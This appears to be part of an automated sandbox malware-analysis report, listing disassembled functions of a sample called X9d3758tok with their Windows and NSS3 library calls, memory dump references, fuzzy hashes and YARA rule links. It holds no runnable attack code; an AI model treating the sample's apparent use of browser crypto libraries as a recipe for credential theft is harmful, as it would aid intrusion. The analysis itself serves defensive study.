Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 7d5c2d58d6ebcc39f3bbe006d912680fd9679d54c943c9ffc650952a764d4ff4
Instruction ID: b1eff1b28246c3f20dcbf41ee04a228af6220934ae21f6b69503df4ee1be1be5
Opcode Fuzzy Hash: 7d5c2d58d6ebcc39f3bbe006d912680fd9679d54c943c9ffc650952a764d4ff4
Instruction Fuzzy Hash: 6331E2B6A00515ABEB119F28D94C86AB778EF5525CB488174EC08C7A22FB31EC64C7E1

Function 6C738C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C738C1B
EnterCriticalSection.KERNEL32 ref: 6C738C34
PL_ArenaAllocate.NSS3 ref: 6C738C65
PR_Unlock.NSS3 ref: 6C738C9C
PR_Unlock.NSS3 ref: 6C738CB6

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

Strings

KRAM, xrefs: 6C738C8F

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 49b98bd024b2b398da1c54b60bbd5b519979a40a4a858da020f2061e55ade60d
Instruction ID: fc2061b1e94e9da5c99feab98367a468509ba651ced0e8cfc3c7f971421b6a8c
Opcode Fuzzy Hash: 49b98bd024b2b398da1c54b60bbd5b519979a40a4a858da020f2061e55ade60d
Instruction Fuzzy Hash: 4A2160B1A056118FD700AF78C588559BBF4FF85308F0599BAD888CB712EB35D885CBD2

Function 6C832C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C832CA0
PR_ExitMonitor.NSS3 ref: 6C832CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C832CD1
strdup.MOZGLUE(?), ref: 6C832CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C832D27

Strings

Loaded library %s (static lib), xrefs: 6C832D22

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 4184d5775fae54448e18649b86c348682b38f9c1f3ee4f0c43e58c5964af4255
Instruction ID: e138821f6b8876bb739610abe9ffc0fdf429550331c54585756fcd72971e143d
Opcode Fuzzy Hash: 4184d5775fae54448e18649b86c348682b38f9c1f3ee4f0c43e58c5964af4255
Instruction Fuzzy Hash: F01103B16022248FEB319F59DA486A677B4AB8630DF04983DD81D87F02DB35D809CBE1

Function 6C72BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C72BDCA

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C72BDDB

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C72BDEC

Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C72BE03

Part of subcall function 6C77FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C778D2D,?,00000000,?), ref: 6C77FB85
Part of subcall function 6C77FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C77FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C72BE3B

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: c194aa9bcfa41f9cf7153afbce905c34088cf492cdd6b74e87d12ec8c34bb0e1
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 1E0126A5F4220167F71022666E0DFAB664C4F6039DF240034EF169AB82FB58F51982B6

Function 6C7B1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7B1C74

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C7B1C92
free.MOZGLUE(?), ref: 6C7B1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C7B1CCB
free.MOZGLUE(?), ref: 6C7B1CD2

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 2e307139cf8073839898a4d9fe08dded0eba9732e5312308e394bff0c39c02ee
Instruction ID: fda507a62ded223d2faa4abc79bd07789a732227b4156890fb90027eb76c2058
Opcode Fuzzy Hash: 2e307139cf8073839898a4d9fe08dded0eba9732e5312308e394bff0c39c02ee
Instruction Fuzzy Hash: E10180B1F026215FDE31AFA89E0DB4977B8AB0771DF140135E90AB2E41E739A105C7E2

Function 00419470 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(>=A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413D3E,?), ref: 0041948C
GetFileSizeEx.KERNEL32(000000FF,>=A), ref: 004194A9
CloseHandle.KERNEL32(000000FF), ref: 004194B7

Strings

>=A, xrefs: 004194A1, 004194CD, 004194A4
>=A, xrefs: 00419488, 0041948B

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: >=A$>=A
API String ID: 1378416451-3536956848
Opcode ID: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction ID: 3a34b71ed32a5e038d40ec36a38ffc71a9509a973990dc3d9b0a1b42c7eefbe1
Opcode Fuzzy Hash: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction Fuzzy Hash: F2F04F39E08208BBDB10DFB0EC59F9E77BAAB48710F14C655FA15A72C0E6749A418B85

Function 6C7C2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7C3046

Part of subcall function 6C7AEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7AEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C797FFB), ref: 6C7C312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7C3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7C2E8B

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

Part of subcall function 6C7AF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C799BFF,?,00000000,00000000), ref: 6C7AF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C797FFA), ref: 6C7C2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C317B

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 1ae6f02de35bb90a2d348bfa3f1b8dc881b82d4b5983b0980f318005171adeab
Instruction ID: 026418c1bcc181c23733d172af1f5000634e5f5b285e1cc2895d5e1a73a6e46c
Opcode Fuzzy Hash: 1ae6f02de35bb90a2d348bfa3f1b8dc881b82d4b5983b0980f318005171adeab
Instruction Fuzzy Hash: 87A1C071A002199FDB24CF54CD84BEAB7B5EF49308F0481A9ED4967781E731AD85CFA2

Function 6C78ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C78ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C78EDCE

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

free.MOZGLUE(00000000,?,?,?,?,6C78B04F), ref: 6C78EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C78EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C78EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C78EEFB

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: d5ffb2010596785ad90207f42cbf3681b6a0c12dbb6677d54e37b55dbc5c414c
Instruction ID: 6e964b588d26df60d24e66a5b004f2811d78f07c9e73fea34aa663432dd00969
Opcode Fuzzy Hash: d5ffb2010596785ad90207f42cbf3681b6a0c12dbb6677d54e37b55dbc5c414c
Instruction Fuzzy Hash: C7815FB9A022099FEB14CF55DE85BAB77F9BF88308F144438EA1597B51D730E814CBA1

Function 6C78CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C78C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C78DAE2,?), ref: 6C78C6C2

PR_Now.NSS3 ref: 6C78CD35

Part of subcall function 6C7E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DC6
Part of subcall function 6C7E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DD1
Part of subcall function 6C7E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E9DED

Part of subcall function 6C776C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C721C6F,00000000,00000004,?,?), ref: 6C776C3F

PR_GetCurrentThread.NSS3 ref: 6C78CD54

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

Part of subcall function 6C777260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C721CCC,00000000,00000000,?,?), ref: 6C77729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C78CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C78CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C78CE2C

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C78CE40

Part of subcall function 6C7814C0: TlsGetValue.KERNEL32 ref: 6C7814E0
Part of subcall function 6C7814C0: EnterCriticalSection.KERNEL32 ref: 6C7814F5
Part of subcall function 6C7814C0: PR_Unlock.NSS3 ref: 6C78150D

Part of subcall function 6C78CEE0: PORT_ArenaMark_Util.NSS3(?,6C78CD93,?), ref: 6C78CEEE
Part of subcall function 6C78CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C78CD93,?), ref: 6C78CEFC
Part of subcall function 6C78CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C78CD93,?), ref: 6C78CF0B
Part of subcall function 6C78CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C78CD93,?), ref: 6C78CF1D

Part of subcall function 6C78CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C78CD93,?), ref: 6C78CF47
Part of subcall function 6C78CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C78CD93,?), ref: 6C78CF67
Part of subcall function 6C78CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C78CD93,?,?,?,?,?,?,?,?,?,?,?,6C78CD93,?), ref: 6C78CF78

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: d80124e98c80e84301752b1a3a5eb4bcc4b650d1b9668d6571ffc4abeb158319
Instruction ID: 0c81dd6c6f74b208deb0c4ff3ce65c27d39bf75bf8396993471bc55337f9aac2
Opcode Fuzzy Hash: d80124e98c80e84301752b1a3a5eb4bcc4b650d1b9668d6571ffc4abeb158319
Instruction Fuzzy Hash: 4151E972A021049FEB10EF69DE44BDA73F8EF48359F250634DA1497740EB31E904CBA1

Function 6C732E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C722D1A), ref: 6C732E7E

Part of subcall function 6C7807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C728298,?,?,?,6C71FCE5,?), ref: 6C7807BF
Part of subcall function 6C7807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7807E6
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C78081B
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C780825

PR_Now.NSS3 ref: 6C732EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C732EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C722D1A), ref: 6C732F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C722D1A), ref: 6C732F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C732F81

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 31013d6cb0447ff61480268b648ee86d6a24c74c8814ea6c5e779fc6a37273d9
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 093145B15011268BF710C625DE4CFAE7269EF80318F241579C11D97AD3EB31998AC691

Function 0041B68C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B69A

Part of subcall function 0041B2BC: __mtinitlocknum.LIBCMT ref: 0041B2D2
Part of subcall function 0041B2BC: __amsg_exit.LIBCMT ref: 0041B2DE
Part of subcall function 0041B2BC: EnterCriticalSection.KERNEL32(?,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B2E6

DecodePointer.KERNEL32(0042A260,00000020,0041B7DD,?,00000001,00000000,?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E), ref: 0041B6D6
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B6E7

Part of subcall function 0041C136: EncodePointer.KERNEL32(00000000,0041C393,004D5FB8,00000314,00000000,?,?,?,?,?,0041BA07,004D5FB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041C138

DecodePointer.KERNEL32(-00000004,?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B70D
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B720
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A220,0000000C,0041AF3A), ref: 0041B72A

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: b368105745a6ed8ee76dfd52bf20aaa228be3e659f0cb10f9770f58f7590507a
Instruction ID: f2b3184d1a1304bb90a50cba908fab2f5b5379eafeb7e6c0534b29cc51b1fef6
Opcode Fuzzy Hash: b368105745a6ed8ee76dfd52bf20aaa228be3e659f0cb10f9770f58f7590507a
Instruction Fuzzy Hash: 1331F974900349DFDF11AFA5D9856DDBAF1FF88314F14402BE460A62A0DB784985CF99

Function 6C72AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C72AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C72AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C72AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C849500), ref: 6C72AF23

Part of subcall function 6C77F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C77F0C8
Part of subcall function 6C77F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C77F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C72AF37

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
